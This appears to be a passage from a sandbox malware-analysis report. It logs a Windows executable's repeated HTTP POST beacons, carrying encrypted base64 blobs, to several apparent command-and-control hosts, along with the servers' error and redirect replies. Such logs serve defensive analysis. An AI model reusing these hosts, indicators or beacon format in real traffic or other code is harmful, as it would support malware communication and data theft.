Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811d318f512ccd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1110&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=773&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:17:31.949691057 CEST	773	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 39 39 4c 75 2b 75 44 2f 6b 66 57 36 32 35 53 6c 4d 7a 47 73 33 52 4f 57 70 76 56 49 7a 4b 57 4b 46 4d 56 75 55 63 47 78 4a 6c 4e 39 5a 71 41 54 64 4b 33 52 6a 41 2f 4c 55 59 77 64 31 6f 5a 42 49 48 35 58 35 39 2f 52 4b 62 37 75 6d 35 49 49 52 37 51 78 43 6b 35 61 53 56 4b 64 47 70 47 50 67 7a 4a 64 6e 67 68 2f 53 58 53 63 33 51 44 4f 53 4c 54 78 74 69 49 77 51 66 2f 45 34 5a 4e 56 70 45 58 69 65 2b 62 2b 4a 4e 2f 48 32 63 4a 6a 63 4e 53 34 56 6b 57 6f 71 68 76 6e 51 61 53 33 57 41 39 36 39 45 44 6f 64 57 4a 7a 58 73 62 71 54 6e 59 6f 55 6f 55 4c 4b 64 44 2f 70 58 33 65 55 2b 67 46 4d 58 7a 62 4e 2b 32 57 31 71 77 49 48 2b 46 53 6c 44 32 57 47 2f 55 4c 51 2f 4f 71 4b 57 73 55 70 4d 62 35 79 6a 33 62 76 4c 52 77 50 78 32 4b 46 6a 76 79 71 2f 51 33 41 79 4d 51 42 4e 4a 78 58 54 65 36 52 79 45 5a 48 75 42 75 32 46 67 62 33 4c 44 61 6d 51 69 79 36 4d 31 50 48 32 41 4d 6e 59 4f 49 4d 53 33 50 4d 59 44 6b 73 2b 39 76 6e 71 41 41 68 7a 45 34 44 6c 76 4e 53 56 77 35 78 34 70 33 6a 48 30 42 35 66 43 33 33 45 [TRUNCATED] Data Ascii: 99Lu+uD/kfW625SlMzGs3ROWpvVIzKWKFMVuUcGxJlN9ZqATdK3RjA/LUYwd1oZBIH5X59/RKb7um5IIR7QxCk5aSVKdGpGPgzJdngh/SXSc3QDOSLTxtiIwQf/E4ZNVpEXie+b+JN/H2cJjcNS4VkWoqhvnQaS3WA969EDodWJzXsbqTnYoUoULKdD/pX3eU+gFMXzbN+2W1qwIH+FSlD2WG/ULQ/OqKWsUpMb5yj3bvLRwPx2KFjvyq/Q3AyMQBNJxXTe6RyEZHuBu2Fgb3LDamQiy6M1PH2AMnYOIMS3PMYDks+9vnqAAhzE4DlvNSVw5x4p3jH0B5fC33ERM7X5j3+slzkYBTjzqyzN1RjConULn6NmQY7Eu7GI+dBENIzaYc0mQ5Mt8WFNQ5ZPX6iyUrOMRyk60rxTRnHXf1Xjo8figdMUPo7TegLy53y4Xzet+O4Wme3BXd8yEg2NZ6lLKoqJlZBSymBCpGVfYB+XPphcAeW0+B4nNpZDO8YpKopFjfVW2zOHgaJcwtq8HoXo+HPil
Oct 25, 2024 11:17:32.192907095 CEST	947	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:17:32 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KJms%2BzuuWvAyPS06zXlCm6SG5KUbk1nsf4bNmoEM6m6Jvn4UMEsDcmGjtl4%2BZ%2BiwRleGAerpWiPQMT0nmJH7EB9knyzZoUNxfj0pyqfzoqz2TyXXfGQBRhF%2FBmqOXqt64g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811d3318db2ccd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1104&sent=3&recv=5&lost=0&retrans=0&sent_bytes=944&recv_bytes=1546&delivery_rate=1358348&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:17:32.203871012 CEST	773	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 39 39 4c 75 2b 75 44 2f 6b 66 57 36 32 35 53 6c 4d 7a 47 73 33 52 4f 57 70 76 56 49 7a 4b 57 4b 46 4d 56 75 55 63 47 78 4a 6c 4e 39 5a 71 41 54 64 4b 33 52 6a 41 2f 4c 55 59 77 64 31 6f 5a 42 49 48 35 58 35 39 2f 52 4b 62 37 75 6d 35 49 49 52 37 51 78 43 6b 35 61 53 56 4b 64 47 70 47 50 67 7a 4a 64 6e 67 68 2f 53 58 53 63 33 51 44 4f 53 4c 54 78 74 69 49 77 51 66 2f 45 34 5a 4e 56 70 45 58 69 65 2b 62 2b 4a 4e 2f 48 32 63 4a 6a 63 4e 53 34 56 6b 57 6f 71 68 76 6e 51 61 53 33 57 41 39 36 39 45 44 6f 64 57 4a 7a 58 73 62 71 54 6e 59 6f 55 6f 55 4c 4b 64 44 2f 70 58 33 65 55 2b 67 46 4d 58 7a 62 4e 2b 32 57 31 71 77 49 48 2b 46 53 6c 44 32 57 47 2f 55 4c 51 2f 4f 71 4b 57 73 55 70 4d 62 35 79 6a 33 62 76 4c 52 77 50 78 32 4b 46 6a 76 79 71 2f 51 33 41 79 4d 51 42 4e 4a 78 58 54 65 36 52 79 45 5a 48 75 42 75 32 46 67 62 33 4c 44 61 6d 51 69 79 36 4d 31 50 48 32 41 4d 6e 59 4f 49 4d 53 33 50 4d 59 44 6b 73 2b 39 76 6e 71 41 41 68 7a 45 34 44 6c 76 4e 53 56 77 35 78 34 70 33 6a 48 30 42 35 66 43 33 33 45 [TRUNCATED] Data Ascii: 99Lu+uD/kfW625SlMzGs3ROWpvVIzKWKFMVuUcGxJlN9ZqATdK3RjA/LUYwd1oZBIH5X59/RKb7um5IIR7QxCk5aSVKdGpGPgzJdngh/SXSc3QDOSLTxtiIwQf/E4ZNVpEXie+b+JN/H2cJjcNS4VkWoqhvnQaS3WA969EDodWJzXsbqTnYoUoULKdD/pX3eU+gFMXzbN+2W1qwIH+FSlD2WG/ULQ/OqKWsUpMb5yj3bvLRwPx2KFjvyq/Q3AyMQBNJxXTe6RyEZHuBu2Fgb3LDamQiy6M1PH2AMnYOIMS3PMYDks+9vnqAAhzE4DlvNSVw5x4p3jH0B5fC33ERM7X5j3+slzkYBTjzqyzN1RjConULn6NmQY7Eu7GI+dBENIzaYc0mQ5Mt8WFNQ5ZPX6iyUrOMRyk60rxTRnHXf1Xjo8figdMUPo7TegLy53y4Xzet+O4Wme3BXd8yEg2NZ6lLKoqJlZBSymBCpGVfYB+XPphcAeW0+B4nNpZDO8YpKopFjfVW2zOHgaJcwtq8HoXo+HPil
Oct 25, 2024 11:17:32.447072029 CEST	946	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:17:32 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lKE2I23WxGOjmpLg3iTtViDCWWcy0mv3ZNwpVUlq40cmadx7fcOMXbv6Ql5mkbMgrcCj%2BlF2crJsxX13ztwUYfezIDVg5feGZk7IlDaLlENLGXeGwPlv%2B3EiJhR%2FGN0ZBQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811d34aa5b2ccd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1098&sent=5&recv=7&lost=0&retrans=0&sent_bytes=1891&recv_bytes=2319&delivery_rate=1373814&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:17:32.447947979 CEST	773	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 39 39 4c 75 2b 75 44 2f 6b 66 57 36 32 35 53 6c 4d 7a 47 73 33 52 4f 57 70 76 56 49 7a 4b 57 4b 46 4d 56 75 55 63 47 78 4a 6c 4e 39 5a 71 41 54 64 4b 33 52 6a 41 2f 4c 55 59 77 64 31 6f 5a 42 49 48 35 58 35 39 2f 52 4b 62 37 75 6d 35 49 49 52 37 51 78 43 6b 35 61 53 56 4b 64 47 70 47 50 67 7a 4a 64 6e 67 68 2f 53 58 53 63 33 51 44 4f 53 4c 54 78 74 69 49 77 51 66 2f 45 34 5a 4e 56 70 45 58 69 65 2b 62 2b 4a 4e 2f 48 32 63 4a 6a 63 4e 53 34 56 6b 57 6f 71 68 76 6e 51 61 53 33 57 41 39 36 39 45 44 6f 64 57 4a 7a 58 73 62 71 54 6e 59 6f 55 6f 55 4c 4b 64 44 2f 70 58 33 65 55 2b 67 46 4d 58 7a 62 4e 2b 32 57 31 71 77 49 48 2b 46 53 6c 44 32 57 47 2f 55 4c 51 2f 4f 71 4b 57 73 55 70 4d 62 35 79 6a 33 62 76 4c 52 77 50 78 32 4b 46 6a 76 79 71 2f 51 33 41 79 4d 51 42 4e 4a 78 58 54 65 36 52 79 45 5a 48 75 42 75 32 46 67 62 33 4c 44 61 6d 51 69 79 36 4d 31 50 48 32 41 4d 6e 59 4f 49 4d 53 33 50 4d 59 44 6b 73 2b 39 76 6e 71 41 41 68 7a 45 34 44 6c 76 4e 53 56 77 35 78 34 70 33 6a 48 30 42 35 66 43 33 33 45 [TRUNCATED] Data Ascii: 99Lu+uD/kfW625SlMzGs3ROWpvVIzKWKFMVuUcGxJlN9ZqATdK3RjA/LUYwd1oZBIH5X59/RKb7um5IIR7QxCk5aSVKdGpGPgzJdngh/SXSc3QDOSLTxtiIwQf/E4ZNVpEXie+b+JN/H2cJjcNS4VkWoqhvnQaS3WA969EDodWJzXsbqTnYoUoULKdD/pX3eU+gFMXzbN+2W1qwIH+FSlD2WG/ULQ/OqKWsUpMb5yj3bvLRwPx2KFjvyq/Q3AyMQBNJxXTe6RyEZHuBu2Fgb3LDamQiy6M1PH2AMnYOIMS3PMYDks+9vnqAAhzE4DlvNSVw5x4p3jH0B5fC33ERM7X5j3+slzkYBTjzqyzN1RjConULn6NmQY7Eu7GI+dBENIzaYc0mQ5Mt8WFNQ5ZPX6iyUrOMRyk60rxTRnHXf1Xjo8figdMUPo7TegLy53y4Xzet+O4Wme3BXd8yEg2NZ6lLKoqJlZBSymBCpGVfYB+XPphcAeW0+B4nNpZDO8YpKopFjfVW2zOHgaJcwtq8HoXo+HPil
Oct 25, 2024 11:17:32.692897081 CEST	948	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:17:32 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vHiXEMqC3pUDffvh5kUH9iRZlCED40pc8WOmoQHlEj5Sn9LW1vMKn69%2FNAk%2FTPIjQ8FGw%2BIs7C4z9OrwuixUbiZaosztlrsjZl2oI1HT%2Bx9sIVDCIzwhTwVM2eJe1TG7HQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811d363b832ccd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1092&sent=7&recv=9&lost=0&retrans=0&sent_bytes=2837&recv_bytes=3092&delivery_rate=1379047&cwnd=252&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521
Oct 25, 2024 11:17:32.697187901 CEST	773	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 540 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.ftchat.com Cache-Control: no-cache Data Raw: 39 39 4c 75 2b 75 44 2f 6b 66 57 36 32 35 53 6c 4d 7a 47 73 33 52 4f 57 70 76 56 49 7a 4b 57 4b 46 4d 56 75 55 63 47 78 4a 6c 4e 39 5a 71 41 54 64 4b 33 52 6a 41 2f 4c 55 59 77 64 31 6f 5a 42 49 48 35 58 35 39 2f 52 4b 62 37 75 6d 35 49 49 52 37 51 78 43 6b 35 61 53 56 4b 64 47 70 47 50 67 7a 4a 64 6e 67 68 2f 53 58 53 63 33 51 44 4f 53 4c 54 78 74 69 49 77 51 66 2f 45 34 5a 4e 56 70 45 58 69 65 2b 62 2b 4a 4e 2f 48 32 63 4a 6a 63 4e 53 34 56 6b 57 6f 71 68 76 6e 51 61 53 33 57 41 39 36 39 45 44 6f 64 57 4a 7a 58 73 62 71 54 6e 59 6f 55 6f 55 4c 4b 64 44 2f 70 58 33 65 55 2b 67 46 4d 58 7a 62 4e 2b 32 57 31 71 77 49 48 2b 46 53 6c 44 32 57 47 2f 55 4c 51 2f 4f 71 4b 57 73 55 70 4d 62 35 79 6a 33 62 76 4c 52 77 50 78 32 4b 46 6a 76 79 71 2f 51 33 41 79 4d 51 42 4e 4a 78 58 54 65 36 52 79 45 5a 48 75 42 75 32 46 67 62 33 4c 44 61 6d 51 69 79 36 4d 31 50 48 32 41 4d 6e 59 4f 49 4d 53 33 50 4d 59 44 6b 73 2b 39 76 6e 71 41 41 68 7a 45 34 44 6c 76 4e 53 56 77 35 78 34 70 33 6a 48 30 42 35 66 43 33 33 45 [TRUNCATED] Data Ascii: 99Lu+uD/kfW625SlMzGs3ROWpvVIzKWKFMVuUcGxJlN9ZqATdK3RjA/LUYwd1oZBIH5X59/RKb7um5IIR7QxCk5aSVKdGpGPgzJdngh/SXSc3QDOSLTxtiIwQf/E4ZNVpEXie+b+JN/H2cJjcNS4VkWoqhvnQaS3WA969EDodWJzXsbqTnYoUoULKdD/pX3eU+gFMXzbN+2W1qwIH+FSlD2WG/ULQ/OqKWsUpMb5yj3bvLRwPx2KFjvyq/Q3AyMQBNJxXTe6RyEZHuBu2Fgb3LDamQiy6M1PH2AMnYOIMS3PMYDks+9vnqAAhzE4DlvNSVw5x4p3jH0B5fC33ERM7X5j3+slzkYBTjzqyzN1RjConULn6NmQY7Eu7GI+dBENIzaYc0mQ5Mt8WFNQ5ZPX6iyUrOMRyk60rxTRnHXf1Xjo8figdMUPo7TegLy53y4Xzet+O4Wme3BXd8yEg2NZ6lLKoqJlZBSymBCpGVfYB+XPphcAeW0+B4nNpZDO8YpKopFjfVW2zOHgaJcwtq8HoXo+HPil
Oct 25, 2024 11:17:32.939851999 CEST	955	IN	HTTP/1.1 521 Date: Fri, 25 Oct 2024 09:17:32 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 15 Connection: keep-alive Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=N3QPz0xGSxvPX08swwRy%2FFq0ccSQqTleymrLSqDd9llQcYRRx9vJoGNK6YI0fRAqj2cHH0hTNLzqGb2vEUNBlzzOK5u%2B%2F%2FkXWEZTVJ2ZP8XNw3YDZSKf7aK8CG6V%2B%2Bn%2F3g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Expires: Thu, 01 Jan 1970 00:00:01 GMT Server: cloudflare CF-RAY: 8d811d37ccaf2ccd-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1091&sent=9&recv=11&lost=0&retrans=0&sent_bytes=3785&recv_bytes=3865&delivery_rate=1379047&cwnd=253&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 65 72 72 6f 72 20 63 6f 64 65 3a 20 35 32 31 Data Ascii: error code: 521

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49764	80.93.82.33	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:31.223587990 CEST	832	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 600 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.olras.com Cache-Control: no-cache Data Raw: 43 67 55 6c 4c 50 61 59 6b 2f 55 73 73 50 6c 2f 55 62 76 6c 63 35 6d 4a 69 41 41 57 38 74 52 4d 69 6c 54 65 35 48 44 62 33 70 32 42 77 30 4e 6a 41 54 43 6f 67 5a 67 5a 73 5a 6c 4f 31 41 57 4c 35 55 73 6d 66 56 70 5a 70 46 49 59 64 77 64 48 6e 34 4c 41 73 50 4a 77 38 2b 4b 44 63 69 39 6f 4d 2b 70 54 48 4b 78 57 51 32 66 49 30 2b 4d 54 72 31 4b 77 44 51 77 70 64 47 53 6b 65 44 61 78 43 55 68 72 67 46 4d 62 71 74 79 53 4c 2f 35 73 39 72 77 37 47 64 4b 38 53 68 77 31 78 4e 50 41 6c 69 47 43 46 2f 4a 47 73 32 51 74 50 52 6f 4b 30 35 70 76 41 31 61 51 52 43 53 64 33 35 78 79 6d 4c 30 6c 5a 70 4c 45 4a 70 67 59 46 47 58 50 32 56 41 6e 78 6f 53 6f 70 46 37 4d 42 6e 34 34 43 79 74 6c 69 4b 38 4c 50 50 7a 50 4e 43 51 50 73 68 30 54 4d 4e 6f 50 58 39 4e 39 4b 38 31 70 51 36 52 43 37 49 53 64 32 75 5a 45 33 35 71 6c 69 31 6d 63 5a 49 54 48 6d 75 41 62 78 65 2b 73 4c 32 56 35 38 6e 57 63 51 44 50 67 30 4e 35 70 38 6c 46 2b 4d 53 69 51 63 58 45 41 35 48 63 53 56 59 65 66 54 62 38 6c 73 6d 37 75 77 62 5a 71 6b 62 [TRUNCATED] Data Ascii: CgUlLPaYk/UssPl/Ubvlc5mJiAAW8tRMilTe5HDb3p2Bw0NjATCogZgZsZlO1AWL5UsmfVpZpFIYdwdHn4LAsPJw8+KDci9oM+pTHKxWQ2fI0+MTr1KwDQwpdGSkeDaxCUhrgFMbqtySL/5s9rw7GdK8Shw1xNPAliGCF/JGs2QtPRoK05pvA1aQRCSd35xymL0lZpLEJpgYFGXP2VAnxoSopF7MBn44CytliK8LPPzPNCQPsh0TMNoPX9N9K81pQ6RC7ISd2uZE35qli1mcZITHmuAbxe+sL2V58nWcQDPg0N5p8lF+MSiQcXEA5HcSVYefTb8lsm7uwbZqkbj30oayGZtPUANTGUuuB+vw5f9G3tyaCNaa0Y5kt/wM8zd7+oRcb+gDKB9wf2YtMJLmAXxHCWryxwKdDSUEsA42wwT2ePxSQN2QF01LQRgmbAs88uLK4KkJ+3Yte8VsuFXyUayQloXExFOMrqz3HVf3fc+nkjhArBal0MZcnpUuNTy8c8oqxpdSF4S3xMgWDhNZCAXJaNuMu/nklah5eIaD8G9kLYq9NjhM9jSTy8Pyuval9DZCq3/gMuQThSHdKbezqdlO
Oct 25, 2024 11:17:32.071520090 CEST	417	IN	HTTP/1.1 301 Moved Permanently date: Fri, 25 Oct 2024 09:17:31 GMT server: Apache location: https://www.olras.com/ content-length: 230 content-type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 6c 72 61 73 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.olras.com/">here</a>.</p></body></html>
Oct 25, 2024 11:17:32.087521076 CEST	832	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 600 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.olras.com Cache-Control: no-cache Data Raw: 43 67 55 6c 4c 50 61 59 6b 2f 55 73 73 50 6c 2f 55 62 76 6c 63 35 6d 4a 69 41 41 57 38 74 52 4d 69 6c 54 65 35 48 44 62 33 70 32 42 77 30 4e 6a 41 54 43 6f 67 5a 67 5a 73 5a 6c 4f 31 41 57 4c 35 55 73 6d 66 56 70 5a 70 46 49 59 64 77 64 48 6e 34 4c 41 73 50 4a 77 38 2b 4b 44 63 69 39 6f 4d 2b 70 54 48 4b 78 57 51 32 66 49 30 2b 4d 54 72 31 4b 77 44 51 77 70 64 47 53 6b 65 44 61 78 43 55 68 72 67 46 4d 62 71 74 79 53 4c 2f 35 73 39 72 77 37 47 64 4b 38 53 68 77 31 78 4e 50 41 6c 69 47 43 46 2f 4a 47 73 32 51 74 50 52 6f 4b 30 35 70 76 41 31 61 51 52 43 53 64 33 35 78 79 6d 4c 30 6c 5a 70 4c 45 4a 70 67 59 46 47 58 50 32 56 41 6e 78 6f 53 6f 70 46 37 4d 42 6e 34 34 43 79 74 6c 69 4b 38 4c 50 50 7a 50 4e 43 51 50 73 68 30 54 4d 4e 6f 50 58 39 4e 39 4b 38 31 70 51 36 52 43 37 49 53 64 32 75 5a 45 33 35 71 6c 69 31 6d 63 5a 49 54 48 6d 75 41 62 78 65 2b 73 4c 32 56 35 38 6e 57 63 51 44 50 67 30 4e 35 70 38 6c 46 2b 4d 53 69 51 63 58 45 41 35 48 63 53 56 59 65 66 54 62 38 6c 73 6d 37 75 77 62 5a 71 6b 62 [TRUNCATED] Data Ascii: CgUlLPaYk/UssPl/Ubvlc5mJiAAW8tRMilTe5HDb3p2Bw0NjATCogZgZsZlO1AWL5UsmfVpZpFIYdwdHn4LAsPJw8+KDci9oM+pTHKxWQ2fI0+MTr1KwDQwpdGSkeDaxCUhrgFMbqtySL/5s9rw7GdK8Shw1xNPAliGCF/JGs2QtPRoK05pvA1aQRCSd35xymL0lZpLEJpgYFGXP2VAnxoSopF7MBn44CytliK8LPPzPNCQPsh0TMNoPX9N9K81pQ6RC7ISd2uZE35qli1mcZITHmuAbxe+sL2V58nWcQDPg0N5p8lF+MSiQcXEA5HcSVYefTb8lsm7uwbZqkbj30oayGZtPUANTGUuuB+vw5f9G3tyaCNaa0Y5kt/wM8zd7+oRcb+gDKB9wf2YtMJLmAXxHCWryxwKdDSUEsA42wwT2ePxSQN2QF01LQRgmbAs88uLK4KkJ+3Yte8VsuFXyUayQloXExFOMrqz3HVf3fc+nkjhArBal0MZcnpUuNTy8c8oqxpdSF4S3xMgWDhNZCAXJaNuMu/nklah5eIaD8G9kLYq9NjhM9jSTy8Pyuval9DZCq3/gMuQThSHdKbezqdlO
Oct 25, 2024 11:17:32.328043938 CEST	417	IN	HTTP/1.1 301 Moved Permanently date: Fri, 25 Oct 2024 09:17:31 GMT server: Apache location: https://www.olras.com/ content-length: 230 content-type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 6f 6c 72 61 73 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>301 Moved Permanently</title></head><body><h1>Moved Permanently</h1><p>The document has moved <a href="https://www.olras.com/">here</a>.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49765	34.218.204.173	80	1172	C:\Users\user\Desktop\yGktPvplJn.exe

Timestamp	Bytes transferred	Direction	Data
Oct 25, 2024 11:17:31.356044054 CEST	791	OUT	POST / HTTP/1.1 Accept: / Accept-Language: en-us Content-Type: application/octet-stream Content-Length: 560 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Host: www.wkhk.net Cache-Control: no-cache Data Raw: 65 33 63 2b 4b 69 6d 4a 6b 2f 56 4f 71 74 6c 32 2b 45 43 55 34 6b 4a 7a 2b 42 72 48 44 62 69 6e 62 61 61 76 4b 64 59 62 61 77 34 56 2f 32 78 4f 46 66 4d 2b 32 79 32 79 72 65 38 41 32 66 33 4e 78 64 4f 55 58 6d 33 42 78 78 64 76 6b 64 69 79 36 65 68 4c 35 33 35 2f 31 44 32 62 62 67 71 53 45 41 4c 43 37 71 31 75 34 6e 63 4a 35 6f 36 6d 39 51 66 4e 56 75 37 7a 48 32 6f 6d 41 79 6e 6c 59 6a 4e 46 38 6c 66 51 4a 35 71 55 43 4d 31 48 2b 75 4b 37 33 32 74 56 5a 61 33 57 43 4e 43 48 64 53 59 70 37 79 4a 62 44 75 35 54 36 70 6b 38 65 6b 68 76 53 6a 43 6f 57 46 77 4d 57 63 66 68 63 58 64 4b 65 74 4d 52 50 64 69 7a 35 56 2b 76 4f 4a 37 64 49 71 49 56 36 4a 2b 51 4a 66 77 39 5a 41 4b 39 6f 59 5a 75 46 61 2f 57 45 64 34 34 45 64 74 55 50 41 74 63 68 61 6d 7a 4f 68 66 69 69 75 6c 49 66 76 76 35 4a 71 5a 6f 38 61 6d 4d 79 44 37 57 69 52 36 4b 6b 31 6a 37 32 32 69 33 33 50 4f 58 59 4e 4d 39 73 47 50 55 34 35 76 4a 67 52 35 31 4d 42 4f 65 46 38 6a 4c 5a 61 68 36 62 48 39 41 6f 62 70 61 31 61 75 79 71 42 7a 50 34 76 [TRUNCATED] Data Ascii: e3c+KimJk/VOqtl2+ECU4kJz+BrHDbinbaavKdYbaw4V/2xOFfM+2y2yre8A2f3NxdOUXm3Bxxdvkdiy6ehL535/1D2bbgqSEALC7q1u4ncJ5o6m9QfNVu7zH2omAynlYjNF8lfQJ5qUCM1H+uK732tVZa3WCNCHdSYp7yJbDu5T6pk8ekhvSjCoWFwMWcfhcXdKetMRPdiz5V+vOJ7dIqIV6J+QJfw9ZAK9oYZuFa/WEd44EdtUPAtchamzOhfiiulIfvv5JqZo8amMyD7WiR6Kk1j722i33POXYNM9sGPU45vJgR51MBOeF8jLZah6bH9Aobpa1auyqBzP4voqV0YpkghQr54/FhDKOVmF5uk14vmZAtl4nnWw+wyEVAqR+WQkgBs9lsLcQEzeel36BmFJDvKaBLT8jFGdDCwaiMqfH56MN1dpPPDbTdtQRjfkPBJhE/YZqYEQg5pxUY/4eUav47iCyc4SV9M83K4q68j3q0SoZXRmny7ko9w+kAZhxW4NLmMUqv3syG0kkO93PKR/d/GkceXQACWdbVghFaquK8o=
